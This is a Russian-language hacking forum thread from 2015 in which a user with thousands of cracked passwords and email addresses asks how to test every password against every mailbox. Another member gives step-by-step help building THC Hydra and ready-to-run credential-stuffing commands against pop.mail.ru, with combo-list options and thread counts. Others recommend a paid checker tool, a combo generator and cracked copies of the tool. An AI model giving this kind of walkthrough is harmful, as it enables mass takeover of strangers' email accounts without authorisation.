Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Песочница (https://forum.antichat.xyz/forumdisplay.php?f=189)
-   -   Нужна помощь знающих людей. (https://forum.antichat.xyz/showthread.php?t=427905)

emrik 19.07.2015 13:51

Приветствую хакеры)

В общем нужна Ваша помощь. Объясню сейчас более детально.

Есть много расшифрованных паролей с хешей:соль , так же есть много e-mail адресов, вот из этих паролей которые имеются, один принадлежит к одному из этих email. Нужна в общем программа которая может все эти пароли подставлять к этим еmail (то есть все пароли к одному еmail, а потом к следующему и так далее. почта mail, yandex, gmail, ukr.net) как это все можно организовать?

Alexandr II 19.07.2015 20:35

используй брут?!

emrik 19.07.2015 21:08

Цитата:

Сообщение от Alexandr II
Alexandr II said:

используй брут?!

программа есть какая либо чтобы я это сделал автоматически? подскажите

TANZWUT 19.07.2015 21:13

Гидру не забываем

Currently this tool supports:

Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST,

HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD,

HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle,

PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, S7-300, SAP/R3, SIP, SMB, SMTP, SMTP Enum,

SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

https://www.thc.org/thc-hydra/ + под винду нужен http://www.cygwin.com/

emrik 19.07.2015 21:16

Цитата:

Сообщение от TANZWUT

Гидру не забываем
Currently this tool supports:
Asterisk, AFP, Cisco AAA, Cisco auth, Cisco enable, CVS, Firebird, FTP, HTTP-FORM-GET, HTTP-FORM-POST,
HTTP-GET, HTTP-HEAD, HTTP-PROXY, HTTPS-FORM-GET, HTTPS-FORM-POST, HTTPS-GET, HTTPS-HEAD,
HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MYSQL, NCP, NNTP, Oracle Listener, Oracle SID, Oracle,
PC-Anywhere, PCNFS, POP3, POSTGRES, RDP, Rexec, Rlogin, Rsh, S7-300, SAP/R3, SIP, SMB, SMTP, SMTP Enum,
SNMP, SOCKS5, SSH (v1 and v2), Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.
https://www.thc.org/thc-hydra/
+ под винду нужен
http://www.cygwin.com/

Боже как темный лес, проще есть что либо? или пояснения?

TANZWUT 19.07.2015 21:59

Цитата:

Сообщение от emrik

Боже как темный лес, проще есть что либо? или пояснения?

А что тут не понятного? Это самое простое и универсальное решение, сами Вы тёмный лес - выбрал протокол, список паролей и вперёд, или мануал лень читать?

UPD:

Если уж совсем лень, то:

Код:

hydra -L loginlist.txt -P passlist.txt -o log.txt  -t 5 -f pop.mail.ru pop3
До первого найденого валида, в 5 потоков.

emrik 19.07.2015 23:49

Как её запустить? скачал с сайта, установил cygwin. народ впервые с таким сталкиваюсь, в англ не силен, прошу покажите что да как.

Br@!ns 20.07.2015 00:45

Цитата:

Сообщение от emrik

Приветствую хакеры)
В общем нужна Ваша помощь. Объясню сейчас более детально.
Есть много расшифрованных паролей с хешей:соль , так же есть много e-mail адресов, вот из этих паролей которые имеются, один принадлежит к одному из этих email. Нужна в общем программа которая может все эти пароли подставлять к этим еmail (то есть все пароли к одному еmail, а потом к следующему и так далее. почта mail, yandex, gmail, ukr.net) как это все можно организовать?

Powerful GeneratoR в помощь. умеет делать то что тебе требуется

TANZWUT 20.07.2015 07:30

Цитата:

Сообщение от emrik

Как её запустить? скачал с сайта, установил cygwin. народ впервые с таким сталкиваюсь, в англ не силен, прошу покажите что да как.

Запускай снова установку cygwin, не удаляя, где Select Packages жмякай Devel выбрав напротив install, после установки, открой терминал cygwin пиши:

wget http://www.thc.org/releases/hydra-8.1.tar.gz

tar xvzf hydra-8.1.tar.gz

cd hydra-8.1

./configure

make

make install

проверь установку набрав hydra -h

затем cd ~

ну а дальше переходи в папку C:\cygwin64\home\имя_пользователя\

кидай сюда mail.txt и pass.txt, в терминале забивай:

hydra -S -l mail.txt -p pass.txt -t 16 pop.mail.ru pop3

http://i70.fastpic.ru/big/2015/0720/...d24c5d82e7.jpg

Можно ещё и GUI сделать, если есть время и желание.

http://i70.fastpic.ru/thumb/2015/072...6e04e2ab8.jpeg

Br@!ns, подставлять то умеет, но представь куча списков-файлов на каждое отдельное мыло, проще сразу брут запустить скормив по отдельности список mail.ru.txt и пароли passwords.txt

emrik 20.07.2015 20:19

Цитата:

Сообщение от TANZWUT

Запускай снова установку cygwin, не удаляя, где Select Packages жмякай Devel выбрав напротив install, после установки, открой терминал cygwin пиши:
wget
http://www.thc.org/releases/hydra-8.1.tar.gz
tar xvzf hydra-8.1.tar.gz
cd hydra-8.1
./configure
make
make install
проверь установку набрав hydra -h
затем cd ~
ну а дальше переходи в папку C:\cygwin64\home\имя_пользователя\
кидай сюда mail.txt и pass.txt, в терминале забивай:
hydra -S -l mail.txt -p pass.txt -t 16 pop.mail.ru pop3
http://i70.fastpic.ru/big/2015/0720/...d24c5d82e7.jpg
Можно ещё и GUI сделать, если есть время и желание.
http://i70.fastpic.ru/thumb/2015/072...6e04e2ab8.jpeg
Br@!ns
, подставлять то умеет, но представь куча списков-файлов на каждое отдельное мыло, проще сразу брут запустить скормив по отдельности список mail.ru.txt и пароли passwords.txt

данный пример показан на mail.ru ?

$ wget http://www.thc.org/releases/hydra-8.1.tar.gz

-bash: wget: команда не найдена

TANZWUT 20.07.2015 21:18

Да, на pop.mail.ru , скопируй или распакуй архив в C:\cygwin64\home\имя_пользователя\

emrik 20.07.2015 23:22

Цитата:

Сообщение от TANZWUT

Да, на pop.mail.ru , скопируй или распакуй архив в C:\cygwin64\home\имя_пользователя\

Код:

YULIA@YULIA-▒▒ ~
$ wget http://www.thc.org/releases/hydra-8.1.tar.gz
-bash: wget: команда не найдена

YULIA@YULIA-▒▒ ~
$ cd hydra-8.1

YULIA@YULIA-▒▒ ~/hydra-8.1
$ make
make install./configure

Starting hydra auto configuration ...

Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
                                                      ... NOT found, SSL support disabled
Get it from http://www.openssl.org
Checking for idn (libidn.so) ...
                            ... NOT found, unicode logins and passwords will not be supported
Checking for curses (libcurses.so / term.h) ...
                                            ... NOT found, color output disabled
Checking for pcre (libpcre.so, pcre.h) ...
                                      ... NOT found, server response checks will be less reliable
Checking for Postgres (libpq.so, libpq-fe.h) ...
                                            ... NOT found, module postgres disabled
Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
                                                              ... NOT found, module svn disabled
Checking for firebird (libfbclient.so) ...
                                      ... NOT found, module firebird disabled
Checking for MYSQL client (libmysqlclient.so, math.h) ...
                                      ... math.h not found, module Mysql disabled
Checking for AFP (libafpclient.so) ...
                                  ... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking for NCP (libncp.so / nwcalls.h) ...
                                        ... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
                                      ... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
                                      ... NOT found, module ssh disabled
Get it from http://www.libssh.org
Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
                                                                    ... NOT found, module Oracle disabled
Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html
Checking for GUI req's (pkg-config, gtk+-2.0) ...
                                              ... NOT found, optional anyway
Checking for Android specialities ...
                                  ... rindex() not found
Checking for secure compile option support in gcc ...
                                                  Compiling... no
                                                  Linking... no

Hydra will be installed into .../bin of: /usr/local
  (change this by running ./configure --prefix=path)

Writing Makefile.in ...

Cygwin detected, if compilation fails just update your installation.

which: no windres in (/usr/local/bin:/usr/bin:/cygdrive/c/Windows/system32:/cygdrive/c/Windows:/cygdrive/c/Windows/System32/Wbem:/cygdrive/c/Windows/System32/WindowsPowerShell/v1.0:/cygdrive/c/Program Files/Broadcom/Broadcom 802.11/Driver:/cygdrive/c/Program Files/WIDCOMM/Bluetooth Software:/cygdrive/c/Program Files/Internet Explorer:/cygdrive/c/Program Files/Skype/Phone)
Windres NOT found, you will not have pretty icon files in the hydra cygwin executables

now type "make"

YULIA@YULIA-▒▒ ~/hydra-8.1
$ make
-bash: make: команда не найдена

что блин не так? голова кругом, пока никак не могу вникнуть. Вы уж простите)

TANZWUT 20.07.2015 23:48

как я выше катал:

Цитата:

Сообщение от TANZWUT

Запускай снова установку cygwin, не удаляя, где Select Packages жмякай
Devel
выбрав напротив
install
,

http://i72.fastpic.ru/big/2015/0720/...5efc23d922.jpg

emrik 21.07.2015 00:19

Цитата:

Сообщение от TANZWUT

так все и сделал и появились такие ошибки как я понял

TANZWUT 21.07.2015 01:15

Ошибки т.к. не установленно много чего... проверь что всё установлено в Devel, вот поиск по make:

http://i71.fastpic.ru/big/2015/0721/...ea4bfc81a9.jpg

Код:

remote@TANZWUT-PC ~
$ cd hydra-8.1/

remote@TANZWUT-PC ~/hydra-8.1
$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
  ... found
Checking for idn (libidn.so) ...
  ... found
Checking for curses (libcurses.so / term.h) ...
  ... found, color output enabled
Checking for pcre (libpcre.so, pcre.h) ...
  ... found
Checking for Postgres (libpq.so, libpq-fe.h) ...
  ... found
Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
  ... found
Checking for firebird (libfbclient.so) ...
  ... NOT found, module firebird disabled
Checking for MYSQL client (libmysqlclient.so, math.h) ...
  ... NOT found, module Mysql will not support version > 4.x
Checking for AFP (libafpclient.so) ...
  ... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking for NCP (libncp.so / nwcalls.h) ...
  ... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
  ... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
  ... NOT found, module ssh disabled
Get it from http://www.libssh.org
Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
  ... NOT found, module Oracle disabled
Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html
Checking for GUI req's (pkg-config, gtk+-2.0) ...
  ... found
Checking for Android specialities ...
  ... rindex() found
  ... RSA_generate_key() found
Checking for secure compile option support in gcc ...
  Compiling... yes
  Linking... no

Hydra will be installed into .../bin of: /usr/local
  (change this by running ./configure --prefix=path)

Writing Makefile.in ...

Cygwin detected, if compilation fails just update your installation.

Windres found, will attach icons to hydra cygwin executables

now type "make"

remote@TANZWUT-PC ~/hydra-8.1
$ make

Now type make install

remote@TANZWUT-PC ~/hydra-8.1
$ make install

Now type make install
strip hydra pw-inspector
echo OK > /dev/null && test -x xhydra && strip xhydra || echo OK > /dev/null
mkdir -p /usr/local/bin
cp -f hydra-wizard.sh hydra pw-inspector /usr/local/bin && cd /usr/local/bin && chmod 755 hydra-wizard.sh hydra pw-inspector
echo OK > /dev/null && test -x xhydra && cp xhydra /usr/local/bin && cd /usr/local/bin && chmod 755 xhydra || echo OK > /dev/null
sed -e "s|^INSTALLDIR=.*|INSTALLDIR="/usr/local"|" dpl4hydra.sh > /usr/local/bin/dpl4hydra.sh
chmod 755 /usr/local/bin/dpl4hydra.sh
mkdir -p /usr/local/etc/
cp -f *.csv /usr/local/etc/
mkdir -p /usr/local/man/man1
cp -f hydra.1 xhydra.1 pw-inspector.1 /usr/local/man/man1

remote@TANZWUT-PC ~/hydra-8.1
$ hydra -h
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]

Options:
  -R  restore a previous aborted/crashed session
  -S  perform an SSL connect
  -s PORT  if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr  try "n" null password, "s" login as pass and/or "r" reversed login
  -u  loop around users, not passwords (effective! implied with -x)
  -C FILE  colon separated "login:pass" format, instead of -L/-P options
  -M FILE  list of servers to attack, one entry per line, ':' to specify port
  -o FILE  write found login/password pairs to FILE instead of stdout
  -f / -F  exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6  prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -q  do not print messages about connection erros
  -U  service module usage details
  server  the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service  the service to crack (see below for supported protocols)
  OPT  some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: sapr3 firebird afp ncp ssh sshkey oracle mysql5.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
  % export HYDRA_PROXY_HTTP=http://proxy:8080
  % export HYDRA_PROXY_AUTH=user:pass

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

remote@TANZWUT-PC ~/hydra-8.1
$

http://rghost.ru/85thNLyJz

emrik 22.07.2015 00:24

ничего блин не получается, все делаю по описанию, ошибки снова. есть какая либо другая программа которая поможет мне в моей вопросе?

вот что пишет

YULIA@YULIA-▒▒ ~/hydra-8.1

$ make install

Now type make install

strip hydra pw-inspector

strip:hydra: Формат файла не распознан

stripw-inspector: Формат файла не распознан

Makefile:70: ошибка выполнения рецепта для цели «strip»

make: *** [strip] Ошибка 1

emrik 22.07.2015 19:58

Прошу помощи

emrik 22.07.2015 23:27

Цитата:

Сообщение от TANZWUT

Ошибки т.к. не установленно много чего... проверь что всё установлено в Devel, вот поиск по make:
http://i71.fastpic.ru/big/2015/0721/...ea4bfc81a9.jpg
Код:

remote@TANZWUT-PC ~
$ cd hydra-8.1/

remote@TANZWUT-PC ~/hydra-8.1
$ ./configure

Starting hydra auto configuration ...

Checking for openssl (libssl, libcrypto, ssl.h, sha.h) ...
  ... found
Checking for idn (libidn.so) ...
  ... found
Checking for curses (libcurses.so / term.h) ...
  ... found, color output enabled
Checking for pcre (libpcre.so, pcre.h) ...
  ... found
Checking for Postgres (libpq.so, libpq-fe.h) ...
  ... found
Checking for SVN (libsvn_client-1 libapr-1.so libaprutil-1.so) ...
  ... found
Checking for firebird (libfbclient.so) ...
  ... NOT found, module firebird disabled
Checking for MYSQL client (libmysqlclient.so, math.h) ...
  ... NOT found, module Mysql will not support version > 4.x
Checking for AFP (libafpclient.so) ...
  ... NOT found, module Apple Filing Protocol disabled - Apple sucks anyway
Checking for NCP (libncp.so / nwcalls.h) ...
  ... NOT found, module NCP disabled
Checking for SAP/R3 (librfc/saprfc.h) ...
  ... NOT found, module sapr3 disabled
Get it from http://www.sap.com/solutions/netweaver/linux/eval/index.asp
Checking for libssh (libssh/libssh.h) ...
  ... NOT found, module ssh disabled
Get it from http://www.libssh.org
Checking for Oracle (libocci.so libclntsh.so / oci.h and libaio.so) ...
  ... NOT found, module Oracle disabled
Get basic and sdk package from http://www.oracle.com/technetwork/database/features/instant-client/index.html
Checking for GUI req's (pkg-config, gtk+-2.0) ...
  ... found
Checking for Android specialities ...
  ... rindex() found
  ... RSA_generate_key() found
Checking for secure compile option support in gcc ...
  Compiling... yes
  Linking... no

Hydra will be installed into .../bin of: /usr/local
  (change this by running ./configure --prefix=path)

Writing Makefile.in ...

Cygwin detected, if compilation fails just update your installation.

Windres found, will attach icons to hydra cygwin executables

now type "make"

remote@TANZWUT-PC ~/hydra-8.1
$ make

Now type make install

remote@TANZWUT-PC ~/hydra-8.1
$ make install

Now type make install
strip hydra pw-inspector
echo OK > /dev/null && test -x xhydra && strip xhydra || echo OK > /dev/null
mkdir -p /usr/local/bin
cp -f hydra-wizard.sh hydra pw-inspector /usr/local/bin && cd /usr/local/bin && chmod 755 hydra-wizard.sh hydra pw-inspector
echo OK > /dev/null && test -x xhydra && cp xhydra /usr/local/bin && cd /usr/local/bin && chmod 755 xhydra || echo OK > /dev/null
sed -e "s|^INSTALLDIR=.*|INSTALLDIR="/usr/local"|" dpl4hydra.sh > /usr/local/bin/dpl4hydra.sh
chmod 755 /usr/local/bin/dpl4hydra.sh
mkdir -p /usr/local/etc/
cp -f *.csv /usr/local/etc/
mkdir -p /usr/local/man/man1
cp -f hydra.1 xhydra.1 pw-inspector.1 /usr/local/man/man1

remote@TANZWUT-PC ~/hydra-8.1
$ hydra -h
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvVd46] [service://server[:PORT][/OPT]]

Options:
  -R  restore a previous aborted/crashed session
  -S  perform an SSL connect
  -s PORT  if the service is on a different default port, define it here
  -l LOGIN or -L FILE  login with LOGIN name, or load several logins from FILE
  -p PASS  or -P FILE  try password PASS, or load several passwords from FILE
  -x MIN:MAX:CHARSET  password bruteforce generation, type "-x -h" to get help
  -e nsr  try "n" null password, "s" login as pass and/or "r" reversed login
  -u  loop around users, not passwords (effective! implied with -x)
  -C FILE  colon separated "login:pass" format, instead of -L/-P options
  -M FILE  list of servers to attack, one entry per line, ':' to specify port
  -o FILE  write found login/password pairs to FILE instead of stdout
  -f / -F  exit when a login/pass pair is found (-M: -f per host, -F global)
  -t TASKS  run TASKS number of connects in parallel (per host, default: 16)
  -w / -W TIME  waittime for responses (32s) / between connects per thread
  -4 / -6  prefer IPv4 (default) or IPv6 addresses
  -v / -V / -d  verbose mode / show login+pass for each attempt / debug mode
  -q  do not print messages about connection erros
  -U  service module usage details
  server  the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
  service  the service to crack (see below for supported protocols)
  OPT  some service modules support additional input (-U for module help)

Supported services: asterisk cisco cisco-enable cvs ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql(v4) nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp redis rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at http://www.thc.org/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: sapr3 firebird afp ncp ssh sshkey oracle mysql5.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup.
E.g.:  % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://)
  % export HYDRA_PROXY_HTTP=http://proxy:8080
  % export HYDRA_PROXY_AUTH=user:pass

Examples:
  hydra -l user -P passlist.txt ftp://192.168.0.1
  hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
  hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
  hydra -l admin -p password ftp://[192.168.0.0/24]/
  hydra -L logins.txt -P pws.txt -M targets.txt ssh

remote@TANZWUT-PC ~/hydra-8.1
$

http://rghost.ru/85thNLyJz

так, все настроил как и у Вас, спасибо, только еще не подставлял пароли, только все сошлось по описанию и картинкам. Интересует вопрос мне постоянно это писать или можно только уже запустить терминал и все?

wget http://www.thc.org/releases/hydra-8.1.tar.gz

tar xvzf hydra-8.1.tar.gz

cd hydra-8.1

./configure

make

make install

проверь установку набрав hydra -h

затем cd ~

TANZWUT 22.07.2015 23:38

hydra -h - выдало хэлп? Да - значит установлено, осталось с терминала запустить перебор, заново устанавливать не надо.

emrik 23.07.2015 23:30

Цитата:

Сообщение от TANZWUT

hydra -h - выдало хэлп? Да - значит установлено, осталось с терминала запустить перебор, заново устанавливать не надо.

Прошу прощения, решил проверить на своей почте

имеил и пароль указал верно, не могу понять в чем причина пишет что 0 invalid password found

$ hydra -S -l mail.txt -p pass.txt -t 16 pop.mail.ru pop3

Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2015-07-23 22:27:30

[INFO] several providers have implemented cracking protection, check with a small wordlist first - and stay legal!

[DATA] max 1 task per 1 server, overall 64 tasks, 1 login try (l:1/p:1), ~0 tries per task

[DATA] attacking service pop3 on port 995 with SSL

1 of 1 target completed, 0 valid passwords found

Hydra (http://www.thc.org/thc-hydra) finished at 2015-07-23 22:27:36

[IMG]/proxy.php?image=http%3A%2F%2Fi70.fastpic.ru%2Fbig% 2F2015%2F0720%2Fe7%2F34903cfd68770bf2d26b74d24c5d8 2e7.jpg&hash=c7156ca773aec210b37dcdfd4c5e98b0[/IMG]

если вписывать именно имеил и пароль то работает, как показано на скриншоте, а если прописывать указывать txt, то нет.

J.Z. 24.07.2015 01:56

Пути к файлам правильные укажи

TANZWUT 24.07.2015 03:03

Забыл указать для текстовых файлов L и P большие:

Код:

hydra -S -L mail.txt -P pass.txt -t 16 pop.mail.ru pop3
маленькие если перебор логинов по одному паролю

Код:

hydra -S -L mail.txt -p Mystery73519! -t 16 pop.mail.ru pop3
или перебор паролей к логину

Код:

hydra -S -l mystery73519@mail.ru -P pass.txt -t 16 pop.mail.ru pop3
для списка

Код:

login:pass
Код:

hydra -S -C login_pass.txt -t 16 pop.mail.ru pop3

emrik 25.07.2015 10:05

Цитата:

Сообщение от TANZWUT

Забыл указать для текстовых файлов L и P большие:
Код:

hydra -S -L mail.txt -P pass.txt -t 16 pop.mail.ru pop3
маленькие если перебор логинов по одному паролю
Код:

hydra -S -L mail.txt -p Mystery73519! -t 16 pop.mail.ru pop3
или перебор паролей к логину
Код:

hydra -S -l mystery73519@mail.ru -P pass.txt -t 16 pop.mail.ru pop3
для списка
Код:

login:pass
Код:

hydra -S -C login_pass.txt -t 16 pop.mail.ru pop3

Последний вопрос остался, базы сделал mail.txt (тут список почты, mail,yandex,gmail и прочии) и pass.txt тут только пароли.

Почты 4.2к шт, паролей 3.5к.

По этим запросам как будет брут идти? (то есть все 3.5к к одному мылу или только по рядам?) и куда сохраняется результат?

TANZWUT 26.07.2015 00:28

Все пароли по очереди к мылу, результат в лог смотри через hydra -h, у меня годовщина свадьбы, я пьян и не некогда мне разглагольствовать, пробуй и экспериментируй, читай мануал, не понятное переводи через гугл.

emrik 26.07.2015 00:31

Цитата:

Сообщение от TANZWUT

Все пароли по очереди к мылу, результат в лог смотри через hydra -h, у меня годовщина свадьбы, я пьян и не некогда мне разглагольствовать, пробуй и экспериментируй, читай мануал, не понятное переводи через гугл.

окей. спасибо, поздравляю)

stalker0007 26.07.2015 19:57

купи All-in-One Checker [Private] - Чекер почтовых сервисов и чекай на здоровье стоит 500 рубасов не столько уж критично.

используй программу генератор (POWERFUL GENERATOR) где склеиваешь твои имейлы + пароли и получаешь словарик где все варианты этих паролей к мыльникам.

дальше засовываешь в чекер и удачи. (не все почты проверишь но все же начало есть!)

---

Нет денег, в нете видел ломаных этот софт но пашет ли сейчас не знаю, почты часто меняют свои методы авторизации по этому проги и дохнут без обновки.

MrScrudg 15.01.2016 16:29

Цитата:

Сообщение от stalker0007

купи
All-in-One Checker [Private]
- Чекер почтовых сервисов и чекай на здоровье стоит 500 рубасов не столько уж критично.
используй программу генератор (POWERFUL GENERATOR) где склеиваешь твои имейлы + пароли и получаешь словарик где все варианты этих паролей к мыльникам.
дальше засовываешь в чекер и удачи. (не все почты проверишь но все же начало есть!)
---
Нет денег, в нете видел ломаных этот софт но пашет ли сейчас не знаю, почты часто меняют свои методы авторизации по этому проги и дохнут без обновки.

aioc мертв, кодер слился


Время: 06:45